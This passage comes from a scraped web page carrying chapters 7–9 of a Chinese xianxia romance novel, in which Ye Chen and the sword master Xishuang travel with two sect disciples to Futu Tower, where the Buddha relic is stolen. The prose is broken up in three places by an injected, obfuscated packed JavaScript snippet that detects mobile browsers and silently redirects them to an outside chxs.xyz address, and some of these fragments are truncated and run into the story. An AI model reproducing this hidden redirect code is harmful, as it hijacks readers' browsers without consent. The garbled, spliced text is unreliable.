;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426992|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银。 而且昨日季知年买的肉脯,真的那么好吃吗? 他昨日可是一整桌菜都只动了一口的! 叶琛摇摇头,接过掌柜递来的布袋,又去附近的钱庄换了几张银票,手里金锭总算没那么烫手。打开锦袋时,她指尖拂过缎面浅浅的月亮,顿了一下。 针脚柔软细密,月亮泛着淡淡波光,绣这月亮的人一定有着极细腻的心思,将一腔情思都绣进了锦袋里。 洗霜收了哪位姑娘的锦袋? 不怪叶琛这样想,洗霜第一次同她下山时,这位剑首生得年轻又俊美,路上一直有姑娘朝他抛香囊和花束。 洗霜白日接了一袋子姑娘家的物什,晚上便问她:“她们为何朝我抛这些东西?” 叶琛托腮看他,笑道:“因为她们喜欢你呀。” 洗霜墨色长眉拧起,烛火下,冰蓝色眼瞳盛着盈盈两点烛光:“喜欢人便要朝人抛东西吗?” 叶琛摇头晃脑,随口答:“凡间的习俗就是这样的,若是喜欢别人,便要把自己的东西送出去,人家若是不要,就是拒绝了。” 洗霜沉默一阵,道:“那我把这些东西还回去吧。” 叶琛觉得好笑,说:“你不喜欢那些姑娘?” 洗霜本想摇头,但摇到一半又停下:“我不知道什么叫喜欢,什么叫不喜欢。” 叶琛闻言,竟然很有共鸣:“啊,那我也不知道,这样,我帮你去还吧。” 后来怎么处理那袋东西的,叶琛已经不记得了,如今回想起来,印象最深的,不是香囊,而是洗霜。 那时的洗霜虽然和现在形貌相差仿佛,还是走到哪哪就下雪,但可比现在好玩太多了。 他那时虽然也绷着张脸,但偶尔会不经意流露出一点少年的神态,叶琛有时候觉得好笑,有时候又疑惑。 就算这位剑首常年不出苍云山,但难道就没有对山下的世界好奇过吗? * 叶琛收好锦袋,虽然好奇洗霜收的是谁的东西,但也没有多问。 两人一路往前走,在一个分岔路口又碰到了昨日刚见过的人。 季知年正在和他师妹说些什么,看到叶琛两人过来,停了声,转过来和叶琛说话。 叶琛看了他身旁红衣女修一眼,心里立时浮现出这人名字。 ——宋以安。 她轻轻念了一遍她的名字。 前世,宋以安是她的师姐,她最开始被带回闲云宗,就是跟着她学剑。 后来宋以安和季知年一道,死讯在第二年春日传回。 叶琛盯着宋以安看的时间有些久,这位女修五感又超乎寻常的灵敏,很快朝她看过来。 季知年看了看两人,对叶琛道:“这位道友见过我师妹?” “没有呢,只是我的卦象显示,今日会在这里遇到她。”叶琛道。 季知年了然,轻松道:“那道友的卦果然很灵了,昨日听了道友的谶,我便打算从浮屠塔回去后,大半年都在巫镇闭关。” 浮屠塔? 叶琛心中一跳:“你们也要去浮屠塔?” 季知年笑一笑,望着往北方向绵延不绝的官道,话如惊雷, “昨晚接到师门传信,浮屠塔明年的斋会提前了,我师父已经动身,我们这些做弟子的当然不好让师父等着。” 叶琛缓缓皱起眉:“那这斋会何时开始?” 季知年答:“大概要开春了。” 7. 七 叶琛眉心一跳,不由按紧悬在腰间的长剑,入手一片霜寒之意,才缓缓定下心来,不动声色道:“既是浮屠塔的斋会,的确该早些去,斋会百年未必有一次,错过这次,也不知道下次再开是什么时候。” 季知年点头:“是啊,不过在下和师妹也只是去碰碰运气,浮屠塔的佛宝近些年一直没有动静,这次忽然要开斋会,不知道是不是那位佛圣的意思。” 佛圣是四圣之一,这位浮屠塔供奉的圣人原本是一位佛修,后来遇大机缘飞升上界,却也时时照拂人间,佛宝是这位圣人的遗物,传闻百年前曾有一位修士得佛宝赐福,从此侍奉在佛圣身侧。 这样的机缘,可遇不可求,四圣之后灵气日渐衰竭,再未有人飞升,因此佛宝近日传出动静,怕是能来的修士都在路上了。 季知年又道:“我和我师妹是为佛宝一事而去,道友也是为此而去吗?” 叶琛心想,我不仅是为它而去,从前还为它而死呢。 那时她听说佛宝是那位佛圣的遗物,有通天彻地之能,便想用它救苏二性命,但佛宝数百年未必有一次动静,她就去浮屠塔窃了佛宝,想用别的办法要它显灵。 这次佛宝倒是主动显灵了,浮屠塔为此办斋会,届时一定有很多修士来往,若是她想去看一眼真的佛宝,恐怕不是易事,还容易引火烧身...... 叶琛悄悄看了洗霜一眼,他并未看这边,而是垂眸盯着路边的蔓草,然后折了一片叶子,放进袖中。 她心中一动,忽然觉得,这样一直让人家等着不太好意思。 叶琛朝季知年笑道:“我们却不是为了佛宝,此次我随我们剑首前去,是有要事在身,办完事还要回万剑阁的。” 季知年闻言道:“也是,二位是万剑阁的人,万剑阁与浮屠塔齐名,佛宝于道友而言,恐怕与家中摆件无甚区别。” 叶琛觉得这位季师兄说话真是很有艺术,这一句话,既捧了万剑阁,又不显得自己低声下气,反而让人好感倍增。 不过嘛,她余光看了一眼他身侧的宋以安,很快就明白这份艺术是为了谁了。 叶琛于是道:“虽然我们与二位目的不同,却终归都要去浮屠塔,不如同路,也好有个照应。” 季知年没想到叶琛会这么说,但一想和万剑阁的人接触对自家师妹很有些好处,很快答应下来。 又道:“我还未问过道友名姓,在下闲云宗季知年,不如道友如何称呼?” 叶琛沉默了一会,才轻轻启唇:“万剑阁,叶琛。” 浮屠塔在北边,从南往北走,天气愈发寒冷,起初路边还能看到积霜压雪的乔木,后来就只能看到光秃秃的木棍子了。 层层叠叠的霜花堆在树枝上,远远望去,好像碧树一夜白头。 季知年第一次在冬日出远门,瞧着新鲜,面上还要保持大师兄的端庄稳重,同自家师妹道:“再过几日就要到浮屠塔了,浮屠城此时一定挤满了人,我们不如在外城先住下,等斋会开了再去。” 宋以安却并没听他的絮絮叨叨,她拿出一本剑谱给叶琛看,马车颠簸,车上的人也晃晃荡荡,叶琛凝神看去,只听到她道, “这一式若是在半道变招,直取对方面门,倒称得上出其不意,但剑就必须轻灵敏捷......” 叶琛接话道:“其实不一定要追求轻灵敏捷,宋道友,你的剑重,你力气又大,硬要学快剑,岂不是把自己弄丢了。” 宋以安怔了下,旋即听到有人喊她。 “师妹。” 季知年连喊了好几声,他这位师妹终于回过头来。 季知年望着她不明所以的神情,心里有些好笑。 宋以安是个剑痴,对剑以外的东西不感兴趣,五感极敏锐,因此前几日还和季知年说,觉得那位叶道友怪怪的。 结果和叶琛比了场剑后,就把先前的顾虑全抛到九霄云外去了。 季知年看她们黏在一起,不是过招就是谈剑,心想,再过几日,宋师妹心里大概也想不起来要去浮屠塔干什么了。 眼看宋以安被季知年叫走,叶琛干脆把毯子拉到胸口,靠着马车壁思量起当下的情形。 前世季知年他们的死讯在春日传回闲云宗,然后马上就是妖鬼入侵,叶琛和师兄师姐们无暇他顾,直到一年后才北上为师长收敛骸骨。 当时季知年他们也是年后就匆匆离开宗门,叶琛不知道他们是去干什么,但现在却知道了,他们是赶着去浮屠塔赴会。 如今浮屠塔斋会的时间提前了,倒是阴差阳错把叶琛和这两人凑到一块。 可当初他们往浮屠塔赴会的路上,到底发生了什么呢?以至于无声无息地死在路上,连死讯都是几月后才传回师门。 叶琛缓缓阖上眼。 前世啊...... 这一路太过顺利,叶琛本以为路上会发生些事情的,但如今都要到浮屠塔了,依然风平浪静。 难道前世季知年他们出事,是在回程的路上? 正如此想着,马车忽地一顿,后轮凌空,强烈的震感传来,叶琛裹着毯子被甩了出去,头晕目眩之间,直直撞上一堵冰凉的墙壁。 叶琛捂着脑袋的手放下来,就听到头顶轻轻叹了一口气。 她身后有人? 叶琛缓缓睁眼,正好对上那人浅淡如琉璃的眼珠,从她的视角看去,这人的脸漂亮的像上好的瓷釉,清冷又俊美,视线上移,她忽然发现这位剑首眼睛里,其实有形似霜花的隐秘纹路。 寒凉的气息扫在叶琛颈侧,她忍不住抖了抖肩膀,一哆嗦从他身上爬起来,毯子滑落下来,盖在洗霜身上。 洗霜微微垂下眼,捡起这条毯子,悬在半空,又觉得无处安放。 太烫了。不管是她的身躯,还是这条毛毯上残留的温度,都太......灼热了。 但很快这条毯子的主人便接过了它。 叶琛尴尬地笑一笑,等到洗霜侧过脸,继续看窗外的雪景,才小声道:“哦.....抱歉,我不是故意撞你的。” 许久,窗边那人才含糊地“嗯”了一声。 叶琛挠了挠头,不知道该再说些什么,只好沿着自己滚过来的痕迹回头看,马车后半段高高翘起,她和洗霜囿于窗边一处,几乎是转头就要碰在一起。 叶琛就不敢转头了。 但她腰间仍悬着长剑,剑柄随着她轻微的动作,一下一下戳着那人腰侧,洗霜阖上眼,耳侧雪如碎玉,却难以掩盖身侧细微的触觉。 几乎是她动一下,他眼前就能马上浮现出她在做什么。 半晌,他轻轻叹了口气,睁开眼:“马车如何了?” 季知年现在也想知道马车如何了。 方才马车猛烈地颠了那么一下,他正好坐在靠门的位置,还没反应过来就已经被甩了下去。 宋以安的情况稍微好点,她被甩下去的时候,有季知年做缓冲,虽然现在筋骨连接处传来隐隐的疼痛,但脸上身上还算整洁。 季知年呸出满嘴的雪和泥,抬眼看向害他如此狼狈的罪魁祸首,一时怔住了。 马车前半截完全陷入坑里,两根横辕摔得粉碎,一匹马挣脱束带已经跑远消失不见,剩下几匹跪在地上低声哀鸣。 车夫也被摔下马,但地上积雪深厚,他掸了掸身上的雪,跑过来大声喊道:“官人,地上有东西!” 季知年顺着他所指的方向看去,果然在地上看到数枚尖钉和散落的碎石。 白雪皑皑,这些东西很难被发觉,但一旦中招就只能呆在荒郊野外等人经过搭救了。 车夫为难道:“这该怎么办呢?前不着村后不着店的,就算想骑马这几匹马也不中用了。” 季知年叹了口气,只好宽慰他:“算了,总会有办法的。” 他和宋以安对视一眼,在彼此眼里看到了一样的主意。 宋以安抽出背上银色重剑,剑身宽大,平稳悬停在她面前,勉强能载两个成年修士。 对于剑修来说,剑确实是最方便的交通工具,但自从四圣飞升后,人间灵气日渐衰竭,御剑飞行也从剑修的必修课变成了灵境修士炫耀修为的观赏性动作。 因为御剑实在太费灵力了。 季知年已经能预见,自己借着宋以安的剑到了下一个落脚点,会是怎样一番情景。 这时候,马车车帘被掀开,露出一个毛发凌乱的脑袋,乌黑的眼珠转了一圈,定定看向季知年:“季道友!你们怎么还在那边,上车啊!” 季知年认出叶琛,朝她喊道:“叶姑娘,下车吧!车坏了,我们怕是得御剑......” 下一秒,“御剑”两个字被他一轱辘吞了回去。 季知年惊讶地看见,这辆绝无可能再次跑起来的马车,它......它飘了起来! 马车陷进去的前半截缓缓从坑内移出,沉闷地发出一声响,然后平稳地停在了雪地中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426993|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说是停也不太恰当,因为这架马车的车轮是悬浮在空中的,轮下朵朵霜花绽放,承托起整节车厢。 叶琛依然在朝他们招手:“进来吧,这车不需要马也能动的。” * 风雪肆虐。 一台飞行法器陷入雪中,周遭围着数十个人,一愁莫展。 上去检查的弟子没一会儿就下来了,对领头的女修道:“乐师姐,动力装置坏了,除非去浮屠城请灵境的器修,否则一时半会是修不好的。” 乐知皱起眉,话到嘴边又改了口,平声静气道:“知道了。” 她身边数十个人无不背负古琴或腰悬长笛,偶尔会有别的法器,这都是天音楼的弟子,也只有四圣地之一的天音楼,负担得起飞行法器。 毕竟,飞行法器烧的可是灵石,而在灵气近乎枯竭的今世,灵石千金难求,随便一颗出现在拍卖行上都会引起轰动,而天音楼竟然拿这东西当燃料! 没有人在知道这件事后不感叹一句豪横。 但也是这架飞行法器,刚刚靠近浮屠地界时就出了故障,飞到一半掉了下来。 通讯接通,玉牌靠近耳侧,乐知听到一道温柔如水的嗓音。 “乐知?褚离暂时不在,有事我可以代为转告。” 乐知缓缓呼出一口气:“好,请帮我告诉褚师兄,我们被困在浮屠界外,飞行法器坏了,请他派人来接我们。” 对面有些讶异:“这......飞行法器坏了,那当真很麻烦了。” 乐知:“所以褚师兄越快越好,谁也不知道这次佛宝的秘境什么时候就开了。” 佛宝有动静只是个笼统的说法,他们这些圣地中人知道得更深入些。佛宝每隔数百年醒来一次,秘境也随之开启,但只有被选中的人能进入秘境,其他人连秘境开了都不知道。 没人知道秘境里有什么,但百年前有位修士因佛宝而飞升的传说,已经足够引起众人疯狂。 乐知不爱说废话,简要交代一遍事情经过就切断了通讯,坐在树下调养内息,阖上眼,眼前不自觉浮现出方才通话那人的面容。 他们几日前匆匆照面,那人轻衣缓带,皮相生得极好,站在褚离身侧,如春日斜斜横倚的桃枝。 可惜是个不能修炼的凡人。 这样好的皮相,也不过须臾几十年光景,便要枯萎落败,落入水中,变成一抹随波逐流的糜红。 乐知为可预见的美人迟暮轻叹一口气,转而清除杂念,专心调息,耳边却传来阵阵吵嚷声。 睁开眼,她扫了一圈身周师弟师妹,淡声道:“吵什么,还没到浮屠呢,就算飞行法器坏了,你们不会调一调内息吗?” “等进了秘境,我不一定能管到你们每一个人。” 她声音不大,却将方才的吵嚷声都压了下去,过了一会,才有人小声道:“可是乐师姐,方才天上有一架马车飞了过去。” 这话一出,马上有人附和。 “对啊,刚才好大一艘马车,唰地一下,就从天上飞过去了!” “而且马车飞过的地方,还有霜花诶,好漂亮的飞行法器!” 飞行法器? 乐知心里摇了摇头。 如今根本不存在能造出飞行法器的器修,天音楼那几架飞行法器,还是千年前琴圣的遗物,再说就算有流落在外的法器,又有谁像天音楼这般豪横,拿灵石当燃料烧? 想来是几个师弟师妹在胡诌了,但是这胡诌得也太离谱了! 但即使不信,她还是忍不住抬头看了一眼天际,这一看,到嘴边的训斥就训不下去了。 那辆马车只剩一个黑点,但修道之人视力极好,乐知能清楚地看见,车帘边探出一张女孩子的脸,乌发被风吹得凌乱极了,眼珠却定定望着车下的景致。 那马车速度极快,霜花自轮下绽放,逶迤至遥远的天际,经久不散。 哪个大宗派有钱得能与天音楼媲美了?拿灵石当炭烧? 但乐知脑中找不出一台有载的飞行法器和眼前所见匹配。 她忽然想到,这辆马车恐怕并不是靠灵石驱动,而是车上有人直接烧灵力驱动此车,但这位烧灵力的修士该是何等修为? 就连她和褚离,天音楼内定的接班人,也不敢说自己能单烧灵力驱动飞行法器。 啊。 乐知轻叹一口气。 恐怕这次佛圣的秘境,竞争者一个比一个来头大啊。 8. 八 叶琛还不知道自己这架马车给地上的人带来了怎样的震撼。 但从车内另外两人的反应已经可以窥见一二。 宋以安扒开车帘,好奇地往外张望,从高处望去,底下的雪山和城镇缩成一片片霜白和井字格,时而有雪片飘进她的衣领,她也不在意。 季知年就没这么好运了,他头撇向一边,将自己那边的车帘严丝合缝地拉好,尽管如此,偶尔的颠簸感仍提醒他这是万丈高空。 他喉头涌上一阵恶心,方才摔进雪地里的头晕眼花又找了上来,他感觉自己有点想吐,只好问道:“剑首,我们还有多久到啊?” 如果不是季知年此时难受极了,他是决计不会主动找这位剑首说话的,他总觉得,这人不太喜欢自己。 洗霜坐在窗边看雪,风声呼啸而过,似乎并没有听见季知年的话。 叶琛回头看了季知年一眼,只好转身戳了戳洗霜,重复了一遍他的问题。 这次洗霜听到了,淡声道:“半日。” 那真是很快了。 叶琛想起来先前季知年租车的时候,马夫说的是五日。 叶琛这人,尴尬过了时限就可以当作无事发生,因此扒着车窗看到外头飞驰而过的景致时,忍不住问道:“这是怎么做到的?” 洗霜道:“霜寒九式,其五。” 又道:“天寒地冻之时,可催动霜雪之力。” 哦,原来是这时候天气好。 叶琛明悟,又感慨道:“好厉害的招式,我竟从未见过。” 谁知洗霜听了后,微微垂下眼,不咸不淡道:“我曾教过你,你不愿学。” 叶琛不明就里:“怎么可能,凡是我眼底下走过的招式,我都记得的,你肯定记错了。” 话虽这么说,但叶琛心里却隐隐觉得洗霜这话可能是真的,虽然她真的不记得洗霜曾教过她这个法门,如果洗霜教过,她一定不会忘记的。 而她说过这话后,直到马车落地,洗霜都没有再说话,她就更纳闷了。 直到这天晚上,叶琛才想起一点,可能是洗霜白日所言的例证。 那时候她和苏二刚刚结契,她白日去苏二的住处给他输完灵力后,日暮前总会回来练剑。 洗霜于剑道上相当严格,不管是对自己,还是对旁人。她与苏二结契后,这严格几乎变成了严苛,即使叶琛在剑道上的天赋已经一骑绝尘,也不曾得过他一个“好”字。 叶琛那时囿于灵境,剑道迟迟没有进展,心里自然也着急,从苏二处回来后,便夜以继日地修习剑法,但她那会一半灵力吊着苏二的命,剩下一半灵力耗在破境上,自觉吃力,也不愿说。 有时候累极了,剑脱手甩出去,被洗霜接住,过一会还到她手里,总会伴随一句他对她方才剑招的点评。 诸如“心浮气躁”、“下盘不稳”、“速度太慢”。 叶琛心里憋着一口气,这气也不知道是对洗霜的还是对自己的,只一心想快点破境。 灵境往上是幻境,到了这个境界,已经可以窥见天道运转,生死人肉白骨。叶琛想着,自己破境后,就能彻底治好苏二的伤,自己也就不欠他什么了。 这样想着,她修行愈发用功,却事倍功半,手中剑第三次甩出去,被洗霜捡起,却没有还给她。 洗霜将剑收回剑鞘,擦净上面的尘土,淡声道:“这一月你是不是从未碰过剑。” 叶琛擦了擦脸上的汗,仰头道:“啊?我每天都在练啊,你不是看着我练吗?” 洗霜倏地抬眼,目光淡漠冰凉:“你管一整个白日呆在你那夫君那边,晚上突然想起来舞两下剑叫‘练剑’?” 他轻轻“呵”了一声,语带讥讽:“我知道你们新婚燕尔,感情好,但是叶宗主,为了一个男人剑都拿不住了,你不觉得丢脸吗?” 叶琛眨了眨眼,不解道:“这有什么丢脸的?我突破不了,关他什么事?” “他......”洗霜顿了下,随后笑了一声,“按理说我是不该管你的家事的,但是叶琛,就算你再爱重他,拿自己吊着他的命,他最多也就再活十年,这十年你就打算一直干耗着?” 叶琛完全听不得她救不了苏二这件事,反驳道:“反正不必你操心,我就算拿我的命去换,也不会让他死掉的。” 洗霜听了这话,反而不和她吵了,过了许久,才说:“既是你自己选的,好自为之吧。” 那天洗霜说完这句话就走了,剑在他手里,叶琛望着他下山的背影,心想难道她离了他就不行了吗,也没跟他要那柄剑,拿了其他剑继续练自己的。 结果拿一把碎一把,她修为已至灵境,世上能承载她剑意的本就不多,藏库里的虽是名品,但铸剑师铸的剑,哪里能和天地灵气孕育而出的灵剑比呢? 在第六柄剑碎掉时,保管藏库的弟子看她脸色,小心道:“宗主......您再拿下去,整个藏库的剑都要给碎完了。” 她才放弃了继续霍霍自家藏库的想法。 那天之后,叶琛本以为洗霜不会再回来了,心里正盘算着是再寻一把灵剑还是干脆转修刀道,结果过了几月,麦黄蟹肥之时,她又见到了洗霜。 她那时在练刀,刀剑同为百兵之长,有许多共通之处,若是转道,她境界并不会跌落多少。她在屋前练刀,洗霜就站在桂花树下,桂子落了一身,她发觉他时,他整个人已经被桂花香味浸透了。 洗霜静静看了她许久,最后轻轻叹气道:“放下那把刀,别折磨它了。” 半晌,他又说:“我教你霜寒九式,教你如何......正确使用我。” * 如此想来,洗霜的确是教过她霜寒九式的,但正是因为这样,叶琛反而更纳闷了。 因为她真的记不得洗霜是如何教她的了。 这对叶琛来说十分稀奇。她于剑道上极有天赋,这天赋甚至不能用“天才”一词来概括,天才举一反十,触类旁通,别家的招式见过几次就能学会,但叶琛不止于此,她习惯改别家的剑法,许多招式教给她是一个样,她用出来又是另一个样。 因此,她心里就像有两个竹筐,一个筐里装着自己的剑法,另一个里面装着别人教她的或者她偶然看到的。 但现在她翻遍了另一个竹筐,也找不到一柄名为洗霜的剑。 叶琛本想就这事问一问洗霜,但刚组织好语言,季知年就带回了一个突如其来的消息。 ——佛宝失窃了。 季知年道:“如今浮屠城戒严,不准进也不准出,幸好我们的马车是停在城外的,原本明日入城的打算,现在倒成了幸事。” “是啊,现在城内那些佛修脸色难看得很。”说话的是和季知年一同回来的女修,“一个时辰前发现佛宝失窃,浮屠城顷刻就颁布了戒严令,里面扎堆的修士太多了,根本没那么多客栈,今晚怕是都要露宿街头。” 叶琛见到这个女修,愕然道:“你怎么也在这里?” 她腰间悬着一柄灵光流转的宝剑,但给叶琛深刻印象的不止是她的剑,还有她这张脸。 ——她是叶琛在兰溪那晚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426994|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同她厮杀一夜,第二天还有余力碎了对手大剑的那个人。 季知年也愣住了,目光在两人间流转:“你们认识?” 那女修笑眯眯地揽住叶琛:“何止认识,这可是我的心肝宝贝儿!” 叶琛还没搞懂自己何以得此殊荣,就听到她石破天惊的下一句, “患难过生死,见证过荣光,若我再肉麻些,都要此生非她不可了,只叫一句心肝宝贝儿掌上珍珠,有何不可?” 她调皮地朝叶琛眨了眨眼,小声道:“阿珍,你说是不是?” 叶琛愣住了。 先是搞不懂前面一串和心肝宝贝儿、掌上珍珠有什么关系。 后面是怔愣又有人喊她阿珍。 这个名字她本以为离开兰溪,就不会再有人喊的。 她僵住这会儿,几人又谈起佛宝失窃的事。 季知年纳闷道:“也不知道谁那么大胆子,这可是浮屠塔,直接来浮屠塔偷东西,太不把佛圣当回事了吧。” 叶琛闻言一顿,小声道:“其实也不一定是胆子大,说不定人家走投无路呢?” “走投无路?”洗霜突然抬起眼,平淡道,“只见过自己走投无路干蠢事的,没见过为了别人干蠢事的。” 季知年一愣,目光在这两人之间转了转,还没看出个所以然来,那女修就插话道:“啊,佛圣是谁?很有名吗?” 这下除了洗霜之外的目光都落在她身上了。 季知年讶异道:“你不是为佛圣的遗物来浮屠塔的吗?” 女修摇头:“我一个剑修,去浮屠塔干嘛,那不过是个......骨头堆成的塔而已,我要去,也是去万剑阁玩玩吧。” 玩玩? 季知年心道这也太有自信了吧。 千万剑修心中的圣地,当年剑圣亲封的万剑阁,在她嘴里,就成了“玩玩”? 当出门买菜呢?! 不过她都说浮屠塔是骨头堆成的塔了,相比之下,前面那句都算不得惊悚。 但其实她也没说错,因为千年前的浮屠塔,确实就是个乱葬岗,尸横遍野,随便走几步就不知道踩到了谁的骨头。 传闻中,千年前一同飞升的四圣,那时候还只是四个有名的修士,不忍人间遭妖鬼侵袭,生灵涂炭,发下宏愿,不荡平人间妖鬼,绝不飞升。 四人一路同行,走到浮屠地界,发现此地遭妖鬼过境,十室九空,几人便一路清除妖鬼,一路超度亡魂。 后来死去的人尸骨累成一座小山,四人中的佛子席地而坐,叹曰:“逝者已矣,生者如斯。今日渡厄,众生安眠。”* 这位佛子超度了四十九日,方才使腐臭血肉尽数化为白骨,白骨累了整整七层,这就是浮屠塔的前身。 也是后来的四圣地之一。 季知年道:“后来那位佛子飞升之日,身边诸物都因沾染仙缘,随之飞升上界,只有这白骨塔虽有超度亡魂的大功德,却也因为需要在下界镇压怨灵,反而不能跟着鸡犬升天。佛圣怜之辛苦,赐下佛宝,随之镇守浮屠一界。” 这段故事,叶琛前世是听季知年说过的,冬日大雪封山,夜晚大家围炉烤火,有时候季知年就会讲些外面流传的故事给大家听,他有一把温温润润的好嗓子,如今本是给这女修讲古,却不知不觉引了许多修士来听。 一个年纪小的修士听了一阵,觉出不对:“不是说当年四圣发愿要荡平妖鬼才飞升的吗?可如今妖鬼还是有啊!” 季知年笑了下:“原本是这样的没错,但这就是后话了。” 9. 九(修) 但是,凡事都有个但是。 三千年前,四圣斩妖鬼,有大功德,飞升上界,从此人间难觅仙踪。 自此人间妖鬼绝迹,凡人乃至仙门修士终于过了一段太平日子,四圣的事迹在人间传唱,凡有井水人家处,最受欢迎的一定是四圣斩妖鬼的往事。 那时没有人想到妖鬼会卷土重来,偶尔有人质疑,也很快会被对四圣的颂扬声压下去。 直到五百年前的灵山惨案。 季知年回忆道:“这我是听师父说的,当年的亲历者大多已经不在了,灵山从前也是数得上号的仙门,一夜之间却沦为人间炼狱,几个不知怎么活下来的弟子,后来不是疯了就是傻了,怎么也说不出当晚发生了什么。” “这桩悬案最开始被认为是仇杀,但是很快这个说法就站不住脚,因为有人发现了关键性的证据。” 他在这里顿住,似乎在回忆相关细节,周围人屏息噤声,没有一个人敢打搅他。 叶琛往周围看了一圈,目光又回到季知年身上,看他还在凝神思索,顿觉好笑。 她这位季师兄,从前便爱卖关子,大关子大卖,小关子小卖。大家围炉夜话,他也惯常这样吊人胃口。 想到这里,她又有些好奇洗霜的反应,回头看了一眼,正好撞上他的视线。洗霜脸上还是没什么表情,瞳色浅淡如琉璃,见她看过来,便移开了眼。 叶琛不觉摸了摸脸,心想她有这么不招人待见吗? 季知年终于酝酿好情绪,缓缓道:“灵山虽然没有一个能说话的活人,却有能说话的死人。当时有位幻境的法修与灵山有故,以身为祭,设下大阵,为的是招魂。” “招魂”二字一出,满堂静默一瞬,顿时哗然。 有人问道:“这位道长,你确定是招魂吗?会不会是你师父记错了?” 又有人道:“幻境的法修......嘶,我这辈子连灵境修士都没见过,幻境又该是何等修为啊。” 但更多人想听后续,只好按捺下心里的瘙痒,等季知年再次开口。 堂内又慢慢安静下来。 季知年淡淡笑了一声,道:“各位道友不必心急,招魂绝对是没错的,因此事太过惊骇,我后来还问过许多遍,并无出入。” 招魂是上古十大禁术之一,别的禁术被禁,多是因为太过阴毒,损人利己,但招魂却完全相反,此术以施术者性命修为为祭,只求逝者复生。 因此它该不该列在十大禁术之中,也是备受争议的,但总归最开始的十大禁术是四圣定下的,没人能和四圣呛嘴,这事也就搁置了。 季知年道:“没有人料到这位法修前辈为得知真相竟能做到如此地步,但招魂阵开,更让人意想不到的事情发生了。” “招来的魂魄并不是任何一个死去的灵山修士,而是一个妖鬼。” “啊?妖鬼也有魂魄吗?”有人忍不住插话道。 季知年朝那人看去:“世间任何活物都有魂魄,妖鬼虽为邪祟,缺少灵智,为祸人间,但的确是有魂魄的。” 他继续道:“而且,招魂招来的这个妖鬼,是会说话的。” 这妖鬼不仅会说话,思维还与常人无异,要不是四肢瘦小,不动时像一张干瘪的画皮,或许是可以混入人堆不被发觉的。 但这妖鬼还没学会披上人皮,就在众目睽睽之下被招魂阵招了出来,虽然不知道它是为何死的,但在场诸位修士既然见了,便没有不除恶务尽的道理。 谁知那妖鬼毫不畏惧仙门修士,众目睽睽之下,竟然挟持那位法修前辈跑了! “跑了?”一个小修士惊叹道,“那么多人抓一个妖鬼,还抓不住吗?” “当时并没有很多人。”季知年摇头道,“我师父说,当年众人以为只是复活灵山修士,探寻那夜真相,只有几个同前辈相熟的小辈上了山。而那妖鬼又狡猾极了,手上有人质,其他人便不敢轻举妄动,况且他们还有一层顾虑。” “要是逼急了它,焉知它不会呼朋引伴,又从暗处蹿出更多的妖鬼?” 在场修士都是亲身经历过妖鬼潮的,自然懂其中利害,不禁随之点头。 季知年道:“这便是千年后妖鬼第一次现世,那时候人们还心存侥幸,以为只是个例,千年前的妖鬼之祸并不会重演——但如今看来,这确实只是侥幸而已。” 他刚说完,以为自己还在闲云宗同师弟师妹们闲谈,讲完故事就想赶一群人去睡觉,但抬眼一看,发现瞪着眼的都是群自己不认识的修士,又觉好笑。 这时候,门口忽然传来一道迟疑的女声。 “师兄?” 宋以安晚上习惯练剑,刚练完回来,就看到自家师兄被一群不认识的人围在中间,手边一碗茶水,浅浅见了底。 季知年朝她挥手,示意无事,要她直接去订好的客房休息,这边见故事已经结束,也都陆续散了场。 叶琛思路又转回来,问季知年:“你是怎么和她认识的?” 这个“她”,自然指的是先前喊她心肝宝贝儿的那位。 这女修笑道:“其实我在兰溪既见过阿珍你,也见过这位小道长,如今在浮屠又遇见你们,可不是缘分?上天既给了这段缘分,没有不珍惜的道理。” 季知年就直接多了,他附耳小声道:“她在外面买东西没带钱,随手抓了个路人付钱。” 叶琛也只好小声问他:“所以你就是那个倒霉路人?” 季知年苦笑着点了点头。 叶琛看了眼那女修,又看回季知年,顿时后退几步,不想让两人间的愿打愿挨殃及池鱼。 她这几步退得太多,腿脚不小心带倒桌椅,低头一看,那椅子正好倒在洗霜身侧。 周遭的温度顿时降了几度。 凛冽的霜雪之意扑面而来,但叶琛第一时间竟然是庆幸这里有张椅子,不然她恐怕又要撞倒在洗霜身上。 如果一天之内连续两次跌倒在同一条河流,难免有故意挤兑之嫌,叶琛思索片刻,还是道:“对不住,我没看到。” 她边说话边弯腰扶起那张椅子,手刚伸出去,就被另一个人制止。 洗霜没有束发的习惯,柔顺的发丝顺着脸颊垂落,拂过叶琛鼻梁,她微微觉出一点痒,垂下眼,两根修长有力的手指轻轻搭在她手腕上。 叶琛迟疑片刻,抬起眼帘:“你......有什么事吗?” 